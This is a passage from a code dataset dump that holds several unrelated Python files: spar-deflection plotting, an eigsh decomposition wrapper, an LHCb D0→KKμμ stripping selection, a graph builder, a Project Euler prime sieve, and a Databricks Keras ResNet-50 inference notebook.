CD[:,0] = CD[:,0]*(D-C) + C\r\n DE[:,0] = DE[:,0]*(E-D) + D\r\n EF[:,0] = EF[:,0]*(F-E) + E\r\n BG[:,0] = BG[:,0]*(G-B) + B\r\n GH[:,0] = GH[:,0]*(H-G) + G\r\n HE[:,0] = HE[:,0]*(E-H) + H\r\n\r\n bispar_upper = np.vstack( (AB[0:-1],BC[0:-1],CD[0:-1],DE[0:-1],EF) )\r\n bispar_lower = np.vstack( (AB[0:-1],BG[0:-1],GH[0:-1],HE[0:-1],EF) )\r\n\r\n return (bispar_upper, bispar_lower)\r\n\r\n\r\ndef load_bispar_nn_displacement(A,B,C,D,E,F,G,H):\r\n os.chdir(biplane_dir)\r\n\r\n (AB,BC,CD,DE,EF,BG,GH,HE) = load_bispar_displacement()\r\n\r\n (bispar_upper, bispar_lower) = process_bispar_results(AB,BC,CD,DE,EF,BG,GH,HE,A,B,C,D,E,F,G,H)\r\n\r\n return (bispar_upper, bispar_lower)\r\n\r\n\r\ndef load_bispar_nn_force(A,B,C,D,E,F,G,H):\r\n os.chdir(biplane_dir)\r\n\r\n (AB,BC,CD,DE,EF,BG,GH,HE) = load_bispar_force()\r\n\r\n (bispar_upper, bispar_lower) = process_bispar_results(AB,BC,CD,DE,EF,BG,GH,HE,A,B,C,D,E,F,G,H)\r\n\r\n return (bispar_upper, bispar_lower)\r\n\r\n\r\ndef plot_bispar_deflection(bispar_upper, bispar_lower, skip_num):\r\n plt.plot(bispar_upper[::skip_num,0], bispar_upper[::skip_num,3], 'rs-', label='biplane spar, upper')\r\n plt.plot(bispar_lower[::skip_num,0], bispar_lower[::skip_num,3], 'g^-', label='biplane spar, lower')\r\n plt.legend( ('monoplane spar', 'biplane spar, upper', 'biplane spar, lower') )\r\n plt.show()\r\n\r\n bi_upper_defl_data = np.vstack( (bispar_upper[::skip_num,0], bispar_upper[::skip_num,3]) ).T\r\n bi_lower_defl_data = np.vstack( (bispar_lower[::skip_num,0], bispar_lower[::skip_num,3]) ).T\r\n\r\n return (bi_upper_defl_data, bi_lower_defl_data)\r\n\r\n\r\ndef plot_bispar_rotation(bispar_upper, bispar_lower, skip_num):\r\n plt.plot(bispar_upper[::skip_num,0], bispar_upper[::skip_num,5], 'rs-', label='biplane spar, upper')\r\n plt.plot(bispar_lower[::skip_num,0], bispar_lower[::skip_num,5], 'g^-', label='biplane spar, lower')\r\n plt.legend( ('monoplane spar', 'biplane spar, upper', 'biplane spar, lower'), loc='upper left' )\r\n plt.show()\r\n return\r\n\r\n\r\ndef plot_bispar_shearforce(bispar_upper, bispar_lower, x1):\r\n x_upper = bispar_upper[:,0]\r\n y_upper = bispar_upper[:,3]\r\n f_i_upper = interp1d(x_upper, y_upper)\r\n f_x_upper = extrap1d(f_i_upper)\r\n\r\n y1_upper = f_x_upper(x1) # use extrapolations function returned by 'extrap1d'\r\n\r\n # plt.plot(x_upper, y_upper, 'g^', x1, y1_upper, 'rs-') # test plot to make sure extrapolation is working\r\n\r\n plt.plot(bispar_upper[:,0], bispar_upper[:,3], 'rs-', label='biplane spar, upper')\r\n plt.plot(bispar_lower[:,0], bispar_lower[:,3], 'g^-', label='biplane spar, lower')\r\n plt.legend( ('monoplane spar', 'biplane spar, upper', 'biplane spar, lower'), loc='lower right')\r\n plt.show()\r\n return\r\n\r\n\r\ndef plot_bispar_bendmoment(bispar_upper, bispar_lower, skip_num):\r\n plt.plot(bispar_upper[:,0], bispar_upper[:,5], 'rs-', label='biplane spar, upper')\r\n plt.plot(bispar_lower[:,0], bispar_lower[:,5], 'g^-', label='biplane spar, lower')\r\n plt.legend( ('monoplane spar', 'biplane spar, upper', 'biplane spar, lower') )\r\n plt.show()\r\n return\r\n\r\n\r\n# compare deflections\r\nplt.figure()\r\nplt.title('deflections')\r\nplt.axes().set_aspect('auto')\r\nmono_data = plot_monospar_deflection(skip_every)\r\n(bispar_upper, bispar_lower) = load_bispar_nn_displacement(A,B,C,D,E,F,G,H)\r\n(bi_upper_data, bi_lower_data) = plot_bispar_deflection(bispar_upper, bispar_lower, skip_every)\r\nplt.xlabel('span [m]')\r\nplt.ylabel('deflection in x3-direction [m]')\r\n\r\n\r\n# # plot deflection reductions\r\n# plt.figure()\r\n# plt.title('deflection reductions')\r\n# ax = plt.subplot(111)\r\n# from matplotlib.ticker import MultipleLocator, FormatStrFormatter\r\n# majorFormatter = FormatStrFormatter('%d%%') # double the percent sign, so that it shows up as a character in the formatted string\r\n# minorLocator = MultipleLocator(5)\r\n# ax.yaxis.set_major_formatter(majorFormatter)\r\n# ax.yaxis.set_minor_locator(minorLocator)\r\n# upper_percent = np.divide(abs(bi_upper_data[1:,1]), abs(mono_data[1:,1]))*100.0\r\n# lower_percent = np.divide(abs(bi_lower_data[1:,1]), abs(mono_data[1:,1]))*100.0\r\n# print 'monoplane', mono_data[1,1]\r\n# print 'biplane (upper)', bi_upper_data[1,1]\r\n# print 'biplane (lower)', bi_lower_data[1,1]\r\n# a = np.array([0,91.9])\r\n# b = np.array([100.0,100.0])\r\n# plt.plot(a, b, 'b--', label='monoplane (baseline)')\r\n# plt.plot(mono_data[1:,0], upper_percent, 'rs-', label='biplane spar, upper')\r\n# plt.plot(mono_data[1:,0], lower_percent, 'g^-', label='biplane spar, lower')\r\n# plt.legend( ('monoplane (baseline)', 'biplane spar, upper', 'biplane spar, lower'), loc='lower right' )\r\n# plt.xlabel('span [m]')\r\n# plt.ylabel('ratio of biplane-to-monoplane deflection in x3-direction [-]')\r\n# plt.ylim(0,120)\r\n# plt.show()\r\n\r\n\r\n# compare rotations\r\nplt.figure()\r\nplt.title('rotations')\r\nplt.axes().set_aspect('auto')\r\nplot_monospar_rotation(skip_every)\r\nplot_bispar_rotation(bispar_upper, bispar_lower, skip_every)\r\nplt.xlabel('span [m]')\r\nplt.ylabel('rotation about x2-axis [rad]')\r\n\r\n\r\n# compare shear forces\r\nplt.figure()\r\nplt.title('shear forces')\r\nplt.axes().set_aspect('auto')\r\nplot_monospar_shearforce(x1_stn)\r\n(bispar_upper, bispar_lower) = load_bispar_nn_force(A,B,C,D,E,F,G,H)\r\nplot_bispar_shearforce(bispar_upper, bispar_lower, x1_stn)\r\nplt.xlabel('span [m]')\r\nplt.ylabel('shear force in x3-direction [N]')\r\n\r\n\r\n# compare bending moments\r\nplt.figure()\r\nplt.title('bending moments')\r\nplt.axes().set_aspect('auto')\r\nplot_monospar_bendmoment(x1_stn)\r\n(bispar_upper, bispar_lower) = load_bispar_nn_force(A,B,C,D,E,F,G,H)\r\nplot_bispar_bendmoment(bispar_upper, bispar_lower, skip_every)\r\nplt.xlabel('span [m]')\r\nplt.ylabel('bending moment about x2-axis [N*m]')\r\n\r\n\r\n# # compare stresses\r\n# plt.figure()\r\n# plt.title('stresses')\r\n# plt.axes().set_aspect('auto')\r\n# plot_monospar_stress(x1_stn, cs_heights_mono/2.0, I_mono)\r\n# plt.xlabel('span [m]')\r\n# plt.ylabel('stresses in x1-direction [N*m]')\r\n\r\n\r\n# return to the original directory\r\nos.chdir('D:\\\\Dropbox\\\\ucla\\\\research\\\\perry\\\\github\\\\spardesign\\\\postprocessing')","sub_path":"postprocessing/plotResults_full-hSW_withRootJoint.py","file_name":"plotResults_full-hSW_withRootJoint.py","file_ext":"py","file_size_in_byte":12628,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"141399614","text":"from scipy.sparse.linalg import eigsh\n\nfrom mdsa.algorithm import Algorithm\n\n\"\"\"\n Perform matrix decomposition using eigsh routine.\n\"\"\"\n\n\nclass Eigsh(Algorithm):\n def __init__(self):\n super(Eigsh, self).__init__(algorithm_name='eigsh')\n\n def run(self, distance_matrix, num_dimensions_out=10):\n super(Eigsh, self).run(distance_matrix, num_dimensions_out)\n\n eigenvalues, eigenvectors = eigsh(distance_matrix,\n k=num_dimensions_out)\n\n return eigenvectors, eigenvalues\n","sub_path":"mdsa/algorithms/eigsh.py","file_name":"eigsh.py","file_ext":"py","file_size_in_byte":540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"467391305","text":"# $Id: StrippingDstarD02KKmumuRegular.py,v 1.2 2010-09-06 01:04:05 jhe Exp $\n'''\nModule for construction of D*+->D0pi+, D0->K+K-mu+mu- stripping Selections and StrippingLines.\nUse REGULAR cuts. \nProvides functions to build the D*+ and the D0 selections.\nProvides class StrippingDstarD02KKmumuRegularConf, which constructs the Selections and \nStrippingLines given a configuration dictionary.\nExported symbols (use python help!):\n - StrippingDstarD02KKmumuRegularConf\n - makeDstar2D0pi\n - makeD02KKmumu\n'''\n\n__author__ = 'Benoit VIAUD'\n__date__ = '19/02/2011'\n__version__ = '$Revision: 1.3 $'\n\n__all__ = ('StrippingDstarD02KKmumuRegularConf',\n 'makeDstar2D0pi',\n 'makeD02KKmumu',\n 'default_config')\n\n\nfrom Gaudi.Configuration import *\nfrom StrippingConf.StrippingLine import StrippingLine\nfrom LHCbKernel.Configuration import *\nfrom GaudiConfUtils.ConfigurableGenerators import FilterDesktop, CombineParticles\nfrom PhysSelPython.Wrappers import Selection, SelectionSequence, DataOnDemand\nfrom StrippingUtils.Utils import LineBuilder\n\n \nclass StrippingDstarD02KKmumuRegularConf(LineBuilder) :\n \"\"\"\n Builder of D*+->D0pi+, D0->K+K-mu+mu- stripping Selection and StrippingLine.\n Constructs the D*+->D0pi+, D0->K+K-mu+mu- Selection and StrippingLine from a configuration dictionary.\n Use REGULAR cuts.\n Usage:\n The lines can be used directly to build a StrippingStream object.\n\n Exports as instance data members:\n selD02KKmumu : nominal D0->K+K-mu+mu- Selection object\n selDstar2D0pi : nominal D*+->D0 pi+ Selection object\n DstarD02KKmumuRegularLine : StrippingLine made out of selDstar2D0pi\n lines() : List of lines, [line]\n\n \"\"\"\n\n __configuration_keys__ = ('TrackChi2max',\n 'DDauKPTmin',\n 'DDauKPmin',\n 'DDauMuPTmin',\n 'DDauMuPmin',\n 'DDauKDelPIDmin',\n 'DDauMuDelPIDmin',\n 'DCombMassWind',\n 'DCombAMAXDOCAmax',\n 'DMothPTmin',\n 'DMothBPVDIRAmin',\n 'DMothMIPDVmax',\n 'DMothMIPCHI2DVmax',\n 'DMothBPVVDmin',\n 'DMothBPVDCHI2min',\n 'DMothBPVVDZmin', \n 'DMothVFASPFmax',\n 'DstarCombMassWind',\n 'DstarCombAMAXDOCAmax',\n 'DstarMothVFASPFmax',\n 'DstarMothPTmin',\n 'DstarMothDMmin',\n 'DstarMothDMmax',\n 'DstarMothSlpiMIPDVmax',\n 'DstarMothSlpiMIPCHI2DVmax',\n 'DstarMothSlpiPTmin',\n 'NTracksLim',\n 'LinePrescale',\n 'LinePostscale'\n )\n \n\n\n def __init__(self, name, config) : # {\n \n LineBuilder.__init__(self, name, config)\n \n\n from Configurables import LoKi__VoidFilter as VoidFilter\n from Configurables import LoKi__Hybrid__CoreFactory as CoreFactory\n modules = CoreFactory('CoreFactory').Modules\n for i in ['LoKiTracks.decorators']:\n if i not in modules : modules.append(i)\n\n\n d02KKmumu_name = 'D0For'+name \n dstar_name = name\n\n self.inPions = DataOnDemand(Location = \"Phys/StdLoosePions/Particles\")\n self.inMuons = DataOnDemand(Location = \"Phys/StdLooseMuons/Particles\")\n self.inKaons = DataOnDemand(Location = \"Phys/StdLooseKaons/Particles\")\n\n self.selD02KKmumu = makeD02KKmumu (d02KKmumu_name,\n inputSel = [ self.inMuons, self.inKaons ], TrackChi2max = config['TrackChi2max'],\n DDauKPTmin = config['DDauKPTmin'],\n DDauKPmin = config['DDauKPmin'],\n DDauMuPTmin = config['DDauMuPTmin'],\n DDauMuPmin = config['DDauMuPmin'],\n DDauKDelPIDmin = config['DDauKDelPIDmin'],\n DDauMuDelPIDmin = config['DDauMuDelPIDmin'],\n DCombMassWind = config['DCombMassWind'],\n DCombAMAXDOCAmax = config['DCombAMAXDOCAmax'],\n DMothPTmin = config['DMothPTmin'],\n DMothBPVDIRAmin = config['DMothBPVDIRAmin'],\n DMothMIPDVmax = config['DMothMIPDVmax'],\n DMothMIPCHI2DVmax = config['DMothMIPCHI2DVmax'],\n DMothBPVVDmin = config['DMothBPVVDmin'],\n DMothBPVDCHI2min = config['DMothBPVDCHI2min'],\n DMothBPVVDZmin = config['DMothBPVVDZmin'],\n DMothVFASPFmax = config['DMothVFASPFmax'] )\n \n self.selDstar2D0Pi_D02KKmumu = makeDstar2D0Pi(dstar_name, \n inputSel = [ self.inPions, self.selD02KKmumu ],\n DstarCombMassWind = config['DstarCombMassWind'],\n DstarCombAMAXDOCAmax = config['DstarCombAMAXDOCAmax'],\n DstarMothVFASPFmax = config['DstarMothVFASPFmax'],\n DstarMothPTmin = config['DstarMothPTmin'], \n DstarMothDMmin = config['DstarMothDMmin'],\n DstarMothDMmax = config['DstarMothDMmax'],\n DstarMothSlpiMIPDVmax = config['DstarMothSlpiMIPDVmax'],\n DstarMothSlpiMIPCHI2DVmax = config['DstarMothSlpiMIPCHI2DVmax'],\n DstarMothSlpiPTmin = config['DstarMothSlpiPTmin'])\n\n self.line_Dstar2D0Pi_D02KKmumu = StrippingLine(dstar_name+\"Line\",\n prescale = config['LinePrescale'],\n postscale = config['LinePostscale'],\n FILTER = \"TrSOURCE('Rec/Track/Best') >> TrLONG >> (TrSIZE < %s )\"% config['NTracksLim'], \n algos = [ self.selDstar2D0Pi_D02KKmumu ]\n )\n self.registerLine(self.line_Dstar2D0Pi_D02KKmumu)\n\ndef makeD02KKmumu(name,\n inputSel,\n TrackChi2max,\n DDauKPTmin,\n DDauKPmin,\n DDauMuPTmin,\n DDauMuPmin,\n DDauKDelPIDmin,\n DDauMuDelPIDmin,\n DCombMassWind,\n DCombAMAXDOCAmax,\n DMothPTmin,\n DMothBPVDIRAmin,\n DMothMIPDVmax,\n DMothMIPCHI2DVmax,\n DMothBPVVDmin,\n DMothBPVDCHI2min,\n DMothBPVVDZmin, \n DMothVFASPFmax,\n decDescriptors = [ \"[D0 -> K+ K- mu+ mu-]cc\"]\n ) :\n \"\"\"\n Create and return a D0->K+K-mu+mu- Selection object.\n Starts from DataOnDemand 'Phys/StdLooseKaons' and 'Phys/StdLooseMuons'.\n Arguments:\n name : name of the Selection.\n TrackChi2max : Maximum track-fit chi2 for D0's daughters \n DDauKPTmin : Minimum PT for D0's Kaon daughters\n DDauKPmin : Minimum P for D0's Kaon daughters\n DDauMuPTmin : Minimum PT for D0's Muon daughters\n DDauMuPmin : Minimum P for D0's Muon daughters \n DDauKDelPIDmin : Minimum (PIDK-PIDpi) for D0's Kaon daughters \n DDauMuDelPIDmin : Minimum (PIDmu-PIDpi) for D0's Muon daughters\n DCombMassWind : Mass window selecting KKmumu combinations \n DCombAMAXDOCAmax, : Max value of the highest of the 6 DOCAs of the 6 pairs one can form out of the 4 f-state particles. \n DMothPTmin : Minimum D0 PT\n DMothBPVDIRAmin : Min value of the cosine of the angle between the D momentum and reconstructed line of flight\n DMothMIPDVmax : Max value of the D0 impact parameter wrt to the PV to which it is associated. \n DMothMIPCHI2DVmax : Max value of the Chi2 of this IP \n DMothBPVVDmin : Min value of the Chi2 of the D0 flying distance. \n DMothBPVDCHI2min : Max value of the Chi2 of this flying distance.\n DMothBPVVDZmin : D0 has to fly toward the detector \n DMothVFASPFmax : Maximum value of the D0 vertex chi2 value\n\n \n \"\"\" \n \n _DDauKCut = \"(PT> %(DDauKPTmin)s *MeV) & (P> %(DDauKPmin)s *MeV) & (PIDK-PIDpi>%(DDauKDelPIDmin)s) & (TRCHI2DOF<%(TrackChi2max)s) \" % locals()\n _DDauMuCut = \"(PT> %(DDauMuPTmin)s *MeV) & (P> %(DDauMuPmin)s *MeV) & (PIDmu-PIDpi>%(DDauMuDelPIDmin)s) & (TRCHI2DOF<%(TrackChi2max)s) \" % locals()\n\n _DCombCut = \"( ADAMASS('D0')<%(DCombMassWind)s*MeV) & (AMAXDOCA('')<%(DCombAMAXDOCAmax)s*mm) \"%locals()\n\n _DMothCut = \"(PT > %(DMothPTmin)s*MeV ) & (BPVDIRA > %(DMothBPVDIRAmin)s) & (MIPDV(PRIMARY) < %(DMothMIPDVmax)s*mm ) & (MIPCHI2DV(PRIMARY) < %(DMothMIPCHI2DVmax)s ) & ( BPVVDCHI2 > %(DMothBPVDCHI2min)s ) & (BPVVD > %(DMothBPVVDmin)s*mm) & (VFASPF(VCHI2/VDOF) < %(DMothVFASPFmax)s) & ( BPVVDZ > %(DMothBPVVDZmin)s )\"%locals()\n \n\n _D0 = CombineParticles(\n DecayDescriptors = decDescriptors\n , DaughtersCuts = { \"mu+\" : _DDauMuCut, \"K+\" : _DDauKCut }\n , CombinationCut = _DCombCut\n , MotherCut = _DMothCut\n )\n\n\n return Selection( name,\n Algorithm = _D0,\n RequiredSelections = inputSel\n )\n\n\ndef makeDstar2D0Pi(name,\n inputSel,\n DstarCombMassWind,\n DstarCombAMAXDOCAmax,\n DstarMothVFASPFmax,\n DstarMothPTmin,\n DstarMothDMmin,\n DstarMothDMmax,\n DstarMothSlpiMIPDVmax,\n DstarMothSlpiMIPCHI2DVmax,\n DstarMothSlpiPTmin,\n decDescriptors= [ \"[D*(2010)+ -> D0 pi+]cc\" ]\n ) :\n \"\"\"\n Create and return a D*+ ->D0 pi+ Selection object.\n Arguments:\n name : name of the Selection.\n d0Sel : D0 -> K+K- mu+ mu- Selection object.\n DstarCombMassWind : Mass Window selecting the D0+Slow pion combinations\n DstarCombAMAXDOCAmax : Maximum value of the DOCA between the D0 and the pion\n DstarMothVFASPFmax : Max value of the Chi2 of the Dstar vertex\n DstarMothPTmin : Minimum Dstar PT \n DstarMothDMmin : Lower bound of the (M_Dstar-M_D0) window\n DstarMothDMmax : Upper bound of the (M_Dstar-M_D0) window\n DstarMothSlpiMIPDVmax : Max value of the IP of the slow pion wrt PV\n DstarMothSlpiMIPCHI2DVmax : Max value of the chi2 on this IP\n DstarMothSlpiPTmin : Min value of the slow pion PT \n\n \"\"\"\n\n _DstarCombCut = \"(ADAMASS('D*(2010)+')<%(DstarCombMassWind)s*MeV) & ( AMAXDOCA('')<%(DstarCombAMAXDOCAmax)s*mm )\"%locals()\n _DstarMotherCut_VCHI2 = \"( VFASPF(VCHI2/VDOF) < %(DstarMothVFASPFmax)s )\"%locals() \n _DstarMotherCut_PT = \"(PT > %(DstarMothPTmin)s*MeV)\"% locals()\n _DstarMotherCut_DM = \"(MM - CHILD(MM,1) > %(DstarMothDMmin)s*MeV) & (MM - CHILD(MM,1) < %(DstarMothDMmax)s*MeV)\"% locals()\n _DstarMotherCut_SlpiIPandPT = \"( CHILD(MIPDV(PRIMARY),2) < %(DstarMothSlpiMIPDVmax)s*mm) & (CHILD(MIPCHI2DV(PRIMARY),2) < %(DstarMothSlpiMIPCHI2DVmax)s ) & ( CHILD(PT,2) > %(DstarMothSlpiPTmin)s*MeV)\"% locals()\n\n _DstarMotherCut = \"( \" + _DstarMotherCut_PT + \" & \" + _DstarMotherCut_DM +\" & \"+ _DstarMotherCut_SlpiIPandPT +\" & \" + _DstarMotherCut_VCHI2 +\" )\" \n \n\n _Dstar = CombineParticles(\n DecayDescriptors = decDescriptors\n , CombinationCut = _DstarCombCut\n , MotherCut = _DstarMotherCut\n )\n\n return Selection( name,\n Algorithm = _Dstar,\n RequiredSelections = inputSel\n )\n\n\n \ndefault_config = {'TrackChi2max' : 5.\n ,'DDauKPTmin' : 200.\n , 'DDauKPmin' : 1000.\n , 'DDauMuPTmin' : 200.\n , 'DDauMuPmin' : 1000.\n , 'DDauKDelPIDmin' : -5.\n , 'DDauMuDelPIDmin' : -10.\n , 'DCombMassWind' : 60.\n , 'DCombAMAXDOCAmax' : 0.4\n , 'DMothPTmin' : 1500.\n , 'DMothBPVDIRAmin' : 0.999\n , 'DMothMIPDVmax' : 0.2\n , 'DMothMIPCHI2DVmax' : 36.\n , 'DMothBPVVDmin' : 1.0\n , 'DMothBPVDCHI2min' : 4.\n , 'DMothBPVVDZmin' : 0.\n , 'DMothVFASPFmax' : 12.\n , 'DstarCombMassWind' : 60.\n , 'DstarCombAMAXDOCAmax' : 0.4\n , 'DstarMothVFASPFmax' : 12.\n , 'DstarMothPTmin' : 1500.\n , 'DstarMothDMmin' : 138.\n , 'DstarMothDMmax' : 156.\n , 'DstarMothSlpiMIPDVmax' : 0.400\n , 'DstarMothSlpiMIPCHI2DVmax' : 36.\n , 'DstarMothSlpiPTmin' : 250.\n , 'NTracksLim' : 150\n , 'LinePrescale' : 1.\n , 'LinePostscale' : 1.}\n","sub_path":"DaVinciDev_v38r1p1/Phys/StrippingArchive/python/StrippingArchive/Stripping13/StrippingDstarD02KKmumuRegular.py","file_name":"StrippingDstarD02KKmumuRegular.py","file_ext":"py","file_size_in_byte":14576,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"256364714","text":"class Graph():\n\n def __init__(self):\n pass\n\n @staticmethod\n def create_graph():\n #manage the input.file\n f=open(\"input.txt\",\"r\")\n array = []\n items = []\n for line in f:\n array.append(line)\n f.close()\n for char in array:\n for x in char:\n if x!=\" \" and x!=\"\\n\":\n items.append(x)\n #data for the algorithms\n num_of_cities = items[0]\n st_city = items[1]\n dst_city = items[2]\n start = []\n destination = []\n distance = []\n S = []\n #creation of start,destination,distance and S indexes\n for i in range(3,len(items),3):\n start.append(items[i])\n for i in range(4,len(items),3):\n destination.append(items[i])\n for i in range(5,len(items),3):\n distance.append(items[i])\n for i in range(len(start)):\n if start[i] not in S:\n S.append(start[i])\n for i in range(len(start)):\n if destination[i] not in S:\n S.append(destination[i])\n\n #creation of the graph without cost\n graph={}\n temp=[]\n for i in range(len(S)):\n for j in range(len(start)):\n if S[i]==start[j]:\n temp.append(destination[j])\n if len(temp)>0:\n graph[S[i]] = temp\n temp = []\n #creation of the graph with cost\n graph_cost={}\n graph_dst={}\n for i in range(len(S)):\n for j in range(len(start)):\n if S[i]==start[j]:\n graph_dst[destination[j]]=distance[j]\n if len(graph_dst)>0:\n graph_cost[S[i]]=graph_dst\n graph_dst={}\n \n return graph,graph_cost,st_city,dst_city,num_of_cities \n # this def returns: THE GRAPH WITHOUT COST,THE GRAPH WITH COST,THE STARTING NODE,THE END NODE and THE NUMBER OF NODES\n","sub_path":"input_file.py","file_name":"input_file.py","file_ext":"py","file_size_in_byte":1994,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"7518055","text":"\n\n\"\"\"\n# 10001st prime\n\ndate: 28th December 2001\n\ndifficulty: 5 (range 0-100)\n\nsovled_count: 261934\n\nurl: https://projecteuler.net/problem=7\n\n\n\nBy listing the first six prime numbers: 2, 3, 5, 7, 11, and 13, we can see that the 6th prime is 13.\n\nWhat is the 10001st prime number?\n\n\n\"\"\"\n\n\n\nfrom pyshould import should\nfrom pylon import puts\n\n\n\n\nimport math\nfrom fractions import gcd # 最大公约数\nfrom functools import reduce\ndef lcm(*args):\n '''最小公倍数'''\n return reduce(lambda x, y: (x * y) // gcd(x, y), args, 1)\n\ndef gen_natural_numbers_can_not_divided_by(*dividers):\n can_divided = lambda x: any(x % d == 0 for d in dividers)\n lcm_of_dividers = lcm(*dividers)\n can_not_divided_list = [i for i in range(lcm_of_dividers) if not can_divided(i)]\n\n loop = 0\n while True:\n for n in can_not_divided_list:\n yield n + lcm_of_dividers * loop\n loop += 1\n\ndef gen_sieve(ceiling=None):\n first_primes = [2, 3, 5, 7, 11, 13]\n # first_primes = [2, 3]\n for fp in first_primes:\n if ceiling and fp > ceiling:\n break\n yield fp\n\n found_primes = []\n for i in gen_natural_numbers_can_not_divided_by(*first_primes):\n if i == 1:\n continue\n if ceiling and i > ceiling:\n break\n for prime, square in found_primes:\n if i % prime == 0:\n break\n if i < square:\n yield i\n found_primes.append((i, i**2))\n break\n else:\n yield i\n found_primes.append((i, i**2))\n\n\ndef test_problem():\n for i, n in enumerate(gen_sieve(), 1):\n print(i, n)\n if i > 10001:\n break\n\n\n","sub_path":"project_euler_solved/007_10001st_prime___difficulty5.py","file_name":"007_10001st_prime___difficulty5.py","file_ext":"py","file_size_in_byte":1556,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"} +{"seq_id":"294378139","text":"# Databricks notebook source\n# MAGIC %md\n# MAGIC # Distributed model inference using Keras\n# MAGIC This notebook demonstrates how to do distributed model inference using Keras with ResNet-50 model and parquet file as input data.\n# MAGIC \n# MAGIC This guide consists of the following sections:\n# MAGIC \n# MAGIC * **Prepare trained model and data for inference.**\n# MAGIC * Load pre-trained ResNet-50 model from [keras.applications](https://keras.io/applications/).\n# MAGIC * Downloads the Flowers data and save to parquet files.\n# MAGIC * **Load the data into Spark DataFrames.** \n# MAGIC * **Run model inference via Pandas UDF.** \n# MAGIC \n# MAGIC **Note:**\n# MAGIC * The notebook runs without code changes on CPU or GPU-enabled Apache Spark clusters.\n# MAGIC * To run the notebook, create a cluster with Databricks Runtime 5.0 ML or above.\n\n# COMMAND ----------\n\nspark.conf.set(\"spark.sql.execution.arrow.enabled\", \"true\")\nspark.conf.set(\"spark.sql.execution.arrow.maxRecordsPerBatch\", \"1600\") # Please set a large batch size in practice.\n\n# COMMAND ----------\n\nimport os\nimport shutil\nimport time\nimport pandas as pd\nfrom PIL import Image\nimport numpy as np\n\nimport tensorflow as tf\nimport keras\nfrom keras.applications.resnet50 import ResNet50\n\nfrom pyspark.sql.functions import col, pandas_udf, PandasUDFType\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC Define the input and output directory.\n\n# COMMAND ----------\n\nfile_name = \"image_data.parquet\"\ndbfs_file_path = \"/dbfs/tmp/flowers/image_data.parquet\"\nlocal_file_path = \"/tmp/flowers/image_data.parquet\"\noutput_file_path = \"/tmp/predictions\"\n\n# COMMAND ----------\n\n# MAGIC %md \n# MAGIC ### Prepare trained model and data for inference\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC Load the ResNet-50 Model and broadcast the weights.\n\n# COMMAND ----------\n\nmodel = ResNet50()\nbc_model_weights = sc.broadcast(model.get_weights())\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC Download the Google flowers dataset.\n\n# COMMAND ----------\n\n# MAGIC %sh \n# MAGIC curl -O http://download.tensorflow.org/example_images/flower_photos.tgz\n# MAGIC tar xzf flower_photos.tgz &>/dev/null\n\n# COMMAND ----------\n\nimport os\nlocal_dir = \"./flower_photos\"\nfiles = [os.path.join(dp, f) for dp, dn, filenames in os.walk(local_dir) for f in filenames if os.path.splitext(f)[1] == '.jpg']\nfiles\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC Save the datasets to one parquet file.\n\n# COMMAND ----------\n\nimage_data = []\nfor file in files:\n img = Image.open(file)\n img = img.resize([224, 224])\n data = np.asarray( img, dtype=\"float32\" ).reshape([224*224*3])\n \n image_data.append({\"data\": data})\n\npandas_df = pd.DataFrame(image_data, columns = ['data'])\npandas_df.to_parquet(file_name)\nshutil.copyfile(file_name, dbfs_file_path)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Load the data into Spark DataFrames\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC Load the data in Spark\n\n# COMMAND ----------\n\nfrom pyspark.sql.types import *\ndf = spark.read.format(\"parquet\").load(local_file_path)\nprint(df.count())\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC ### Run model inference via Pandas UDF\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC Define the function to parse the input data.\n\n# COMMAND ----------\n\ndef parse_image(image_data):\n image = tf.image.convert_image_dtype(image_data, dtype=tf.float32) * (2. / 255) - 1\n image = tf.reshape(image,[224,224,3])\n return image\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC Define the function for model inference.\n\n# COMMAND ----------\n\ndef predict_batch(image_batch):\n image_batch = np.stack(image_batch)\n batch_size = 64\n sess = tf.Session()\n \n model = ResNet50(weights=None)\n model.set_weights(bc_model_weights.value)\n \n image_input = tf.placeholder(dtype=tf.int32, shape=[None,224*224*3])\n dataset = tf.data.Dataset.from_tensor_slices(image_input)\n dataset = dataset.map(parse_image, num_parallel_calls=8).prefetch(5000).batch(batch_size)\n iterator = dataset.make_initializable_iterator()\n images_tensor = iterator.get_next()\n \n with tf.Session().as_default() as sess:\n sess.run(tf.global_variables_initializer())\n sess.run(iterator.initializer, feed_dict={image_input: image_batch})\n result = []\n try:\n while True:\n images = sess.run(images_tensor)\n preds = model.predict(images, steps=1)\n result = result + list(preds)\n except tf.errors.OutOfRangeError:\n pass\n\n return pd.Series(result)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC Test the function locally.\n\n# COMMAND ----------\n\nfeatures_batch = df.limit(128).toPandas().loc[: , \"data\"]\nimages = predict_batch(features_batch)\nprint(images.shape)\n\n# COMMAND ----------\n\n# MAGIC %md \n# MAGIC Wrap the function as a Pandas UDF.\n\n# COMMAND ----------\n\npredict_batch_udf = pandas_udf(ArrayType(FloatType()), PandasUDFType.SCALAR)(predict_batch)\n\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC Run the model inference and save the result to parquet file.\n\n# COMMAND ----------\n\npredictions_df = df.select(predict_batch_udf(col(\"data\")).alias(\"prediction\"))\npredictions_df.write.mode(\"overwrite\").parquet(output_file_path)\n\n# COMMAND ----------\n\n# MAGIC %md\n# MAGIC Now we can load and check the prediction results.\n\n# COMMAND ----------\n\nresult_df = 